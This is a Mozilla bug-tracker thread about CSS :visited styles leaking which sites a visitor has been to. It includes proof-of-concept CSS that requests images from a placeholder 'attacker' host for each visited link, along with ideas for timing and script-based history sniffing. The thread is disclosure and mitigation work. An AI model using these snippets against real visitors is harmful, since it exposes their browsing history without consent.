Closed Bug 57351 Opened 24 years ago Closed 22 years ago

css on a:visited can load an image and/or reveal if visitor been to a site

Categories

(Core :: Security, defect, P3)

defect

Tracking

()

VERIFIED DUPLICATE of bug 147777
mozilla1.2alpha

People

(Reporter: jruderman, Assigned: security-bugs)

References

()

Details

(Keywords: privacy, testcase)

Attachments

(3 files)

a:visited { background-image: url(http://localhost/); } 

generates a hit in my local server's log only when I visit a page containing 
visited links.


a:visited { display: none; } 

generates a hit only when the link it _not_ visited.


By setting up separate styles for each link on a page, it would be possible to 
find out which links from a list the user has already visited.  A devious 
scripter might also then load each of those sites (from his web server) to see 
where they link, and use the trick again to figure out which links the user had 
followed from the first set of pages.  It could possibly also be used to crack 
short/guessable passwords that are part of a url the user had visited, without 
generating network traffic.

The specs that describe how to handle visited links don't seem to address 
privacy and security.
http://www.w3.org/TR/html401/struct/links.html#h-12.2
http://www.w3.org/TR/REC-CSS2/selector.html#link-pseudo-classes
http://www.w3.org/TR/REC-CSS2/colors.html%23background-properties
http://www.w3.org/TR/REC-CSS2/generate.html#before-after-content


I haven't tried any of these, but it might be possible to:

- Tell whether a link is display:none (vs display:inline) by examining its 
contents (styles applied to classes apparently can't be accessed by elem.style)

- Push a plug-in off the screen with a huge a:visited font-size, and then ask a 
plug-in whether it (the plug-in) is on the screen or not.

- Set up a situation where a page takes longer to load if it is visited, either 
because the styles are more difficult to display or because the algorithm that 
finds out whether a link is visited takes nonzero time.  Then use JavaScript to 
time it.

- Set up colors so that an element is only visible if the link is visited, and 
then entice users to click on each of the visible elements.
Clever idea...can you write me a sample exploit? It will be much easier for me
to get people's attention around here if I can show them an exploit.
Status: NEW → ASSIGNED
Attached file display:none example
Nominating for rtm consideration.  This allows a malicious page to find out 
which of a list of urls the user has visited.

Also nominating for an rtm release note.  We need a web developer release note 
if this is fixed by restricting which styles can be set on a:visited and 
a:link, or a user release note if this isn't fixed.
Keywords: relnoteRTM, rtm
How does one exploit this to track a user's movements through the web?  Is the
URL passed along with the image lookup as a referrer or something?  I don't have
a web server log, so I can't see how this allows the attacker to see the URLs.
(To put a different lookup on each link for a given page would seem difficult to
generalize.)

If this can easily be generalized to track pages not created by the attacker
then it seems like a large privacy hole.  Otherwise, I'm not sure how important
it really is.
Whiteboard: [need info]
Yes, this can track urls not controlled by the attacker, because a:visited and 
<body vlink=> don't look at domains.

To test multiple urls at once, try:

a.l1:visited { background-image: url(http://attacker/status/tree.gif?1); }
a.l2:visited { background-image: url(http://attacker/status/tree.gif?2); }

<a class="l1" href="http://www.slashdot.org/">link</a>
<a class="l2" href="http://bugzilla.mozilla.org/q">link</a>

(Use localhost as the image hostname to test with a local web server such as 
omnihttpd, or www.mozilla.org if you want to see the image backgrounds without 
verifying that your browser only loads the images when the link isn't visited.)
Whiteboard: [need info] → [need info] (py8ieh:once ViewCSS is fixed, do the DOM2 exploit)
Your example still relies on the source of the page being changed.  Your links
have explicit classes that connect them back to the "attacking" CSS.  Target
pages out in the web will not be so accomodating.  So, my question still seems
unanswered.  How can you use this to see which pages I've visited in
netscape.com if I don't go to your special hacker page and click on things?

If I have to go to your evil page to make this exploit real, then it seems a
pretty small hole.
Sorry, forgot to preface that previous comment with "Perhaps I still don't
understand, ..."
Yes, you do have to visit to the attacker's page... or read an IM or (I think) 
an e-mail from the attacker.

The problem is that Mozilla lets pages say things about how unvisited and 
visited links show up on the current page that let server determine which links 
are visited and unvisited, such as "display this background image for visited 
links".  You don't have to follow the links while at the attacker's site for 
that to happen.  (Traditionally, browsers have let pages specify a color for 
visited and a color for unvisited links, and didn't let JS/DOM access the 
displayed color of any element.  That's not completely secure either, but it's 
much better.)

Some things websites could find out using this hole:
- What major sites I've visited (from a list of major sites)
- What threads I have read on slashdot (threat to anonymity..)
- What categories I've looked at on yahoo/odp
- What I've downloaded from tucows
Whiteboard: [need info] (py8ieh:once ViewCSS is fixed, do the DOM2 exploit) → (py8ieh:once ViewCSS is fixed, do the DOM2 exploit)
QA Contact: czhang → junruh
mstoltz: what is your opinion on this?
Would the prefs for "use my color" and "use my font" override these evil
external css settings?  Would that be a global control to turn this off?  If so,
it would be similar to the master setting to prevent java or javascript from
running and would make this bug easier to live with.

Is there any other way to turn off the malicious stuff if I'm worried about the
threat?
Whiteboard: (py8ieh:once ViewCSS is fixed, do the DOM2 exploit) → [need info](py8ieh:once ViewCSS is fixed, do the DOM2 exploit)
This is far too complex to relnote, surely? (And I think it's too late 
anyway...) Nominate if you disagree.

Gerv
I tend to agree with Steve that we could ship with this properly noted.  I would
like to hear Mitch's final comments on this as well as Jar's.
I would not hold ship for this.
rtm-, not stop ship.
Whiteboard: [need info](py8ieh:once ViewCSS is fixed, do the DOM2 exploit) → [rtm-](py8ieh:once ViewCSS is fixed, do the DOM2 exploit)
Mass changing QA to ckritzer.
QA Contact: junruh → ckritzer
Mass changing milestone to Moz1.0 - stuff targeted for late spring/early summer.
Target Milestone: --- → mozilla1.0
Less important bugs retargeted to 0.9.9
Target Milestone: mozilla1.0 → mozilla0.9.9
Keywords: nsrtm, relnoteRTM
Whiteboard: [rtm-](py8ieh:once ViewCSS is fixed, do the DOM2 exploit)
Target Milestone: mozilla0.9.9 → mozilla1.2
*** Bug 127041 has been marked as a duplicate of this bug. ***
see http://gemal.dk/browserspy/css-html for test case

based on:
http://groups.google.com/groups?hl=en&selm=bugtraq/20020220100645.A20200%40doxdesk.com
OS: Windows 98 → All
Hardware: PC → All
Summary: css on a:visited can load an image → css on a:visited can load an image and/or reveal if visitor been to a site
Someone told me this was fixed in IE6 for WinXP. But WinXP only.

to me this "exploit" is not that bad. Severity = Major is overkill...:)
From bug 127041:

> I just can't think of a way to solve it without getting rid of the
> "visited" rule in CSS.

Why not just always retrieve the background image for :visited regardless of
whether it is needed or not?
See dup bug for the source of a simple exploit.

> Would the prefs for "use my color" and "use my font" override these evil
> external css settings? 

No, surprisingly not. (Just tried it.)

 From dup bug: 
> *please* give me your thoughts on the severity of this problem. 

I think that it's a privacy threat that has to be fixed. Not a world-stopper,
but worth to violate any DOM specs, if they require it.
Keywords: testcase
It's a privacy threat, but, as I pointed out in the advisory above, there is no
simple solution.

Retrieving an unneeded background image is one thing, but it simply isn't
possible to prevent client-side scripting from discovering how styles have been
applied without removing basically all of Views and the ability to read the
positions of elements. Authors are already reliant on these capabilities and
Mozilla needs them to compete with IE.

The only effective solution I can think of would be to mark links as visited
only if they point to a page on the same domain as the current page. And that
would probably be an unacceptable degradation of functionality to many people.
But maybe it could be an option.
> The only effective solution I can think of would be to mark links as visited
> only if they point to a page on the same domain as the current page. And that
> would probably be an unacceptable degradation of functionality to many people.

I guess I am one of those "many people".

I don't think that the DOM CSS attributes are part of the spec.

An option would be to lie to the page. If the page retrieves the values of the
visited element, give it the values that it would have, if it were merely a
linked (non-visited) element.

*** This bug has been marked as a duplicate of 147777 ***
Status: ASSIGNED → RESOLVED
Closed: 22 years ago
Resolution: --- → DUPLICATE
verif dup, later bug has a partial patch.
Status: RESOLVED → VERIFIED
easiest solution would be to cache all images in the stylesheet. Then there is
no way to tell which link has, and which link has not been visited.

This already happens for parts that have been hidden using display:block, any
image that is hidden this way is transferred anyway.
For a while I've researched this "Exploit" tecnique and a few days back I posted about it in my blog. I'm now posting here some info because a visitor told me about this bug report.

In here you can read some details and toughts about it: http://www.alexandre-gomes.com/?p=87

And the actual "exploit" can be found here: http://www.alexandre-gomes.com/privacy2.html

Its pure javascript and the big news to this bug report is that you don't actually need any images to do the trick. I used colors and javascript, yet many other properties could be used.

Altough the user needs to have javascript enabled, as I tell in my post this can be easily used by an attackers site, with AJAX, to check a huge ammount of URLS. This is what I'm worried about.
By the way, this code runs on IE too (just adding because I read in the comments this was to be, or already is, fixed in IE).
> Its pure javascript and the big news to this bug report is that you don't
> actually need any images to do the trick. I used colors and javascript, yet
> many other properties could be used.

It's big, but old news. See bug 147777 that this bug is a duplicate of. (Normally we prefer to dupe to the older bug. When we don't it's because significant investigation has gone on in the newer bug before the duplication was discovered).
You need to log in before you can comment on or make changes to this bug.